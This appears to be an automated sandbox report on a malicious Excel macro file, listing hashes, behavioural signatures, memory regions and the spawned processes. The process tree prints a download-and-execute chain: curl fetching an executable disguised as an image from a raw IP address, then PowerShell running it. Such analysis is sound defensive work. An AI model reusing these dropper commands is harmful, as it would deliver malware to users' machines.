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Analysis

  • max time kernel
    144s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    26/12/2023, 00:36

General

  • Target

    46d6bdb8d65ae1dd0726c7d5e05e5f39.xlsm

  • Size

    117KB

  • MD5

    46d6bdb8d65ae1dd0726c7d5e05e5f39

  • SHA1

    c7a01da1bd8c051583acd3f028c42602e7d75271

  • SHA256

    fe017705d35cefdee2a98d7c319f62c6f44e47614d4548784832788517e2bc90

  • SHA512

    cc0af73db9ea0fdb8b3354bc02642d1191f43703936b66c0d663c25f2cef20d9a86f9b1a782cc7ccd278e0a4c2462e05c253eeeca53a70f3adcc9d3e60d750ba

  • SSDEEP

    1536:nSaJx8anJumqeFxBrCQ5GMJhj4x0RBxu07ZG5o3wnAIQEUKtP3HjEN:n3GsoQswMmJZGugAtQ3ju

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\46d6bdb8d65ae1dd0726c7d5e05e5f39.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\RgPFG.exe
      2⤵
      • Process spawned unexpected child process
      PID:2604
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe start-sleep 10; $x=$env:AppData+'\RgPFG.exe';Invoke-Expression $x
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2572

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2220-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2220-1-0x0000000071D6D000-0x0000000071D78000-memory.dmp

    Filesize

    44KB

  • memory/2220-11-0x0000000071D6D000-0x0000000071D78000-memory.dmp

    Filesize

    44KB

  • memory/2572-7-0x000000006BB90000-0x000000006C13B000-memory.dmp

    Filesize

    5.7MB

  • memory/2572-8-0x000000006BB90000-0x000000006C13B000-memory.dmp

    Filesize

    5.7MB

  • memory/2572-9-0x00000000029D0000-0x0000000002A10000-memory.dmp

    Filesize

    256KB

  • memory/2572-10-0x000000006BB90000-0x000000006C13B000-memory.dmp

    Filesize

    5.7MB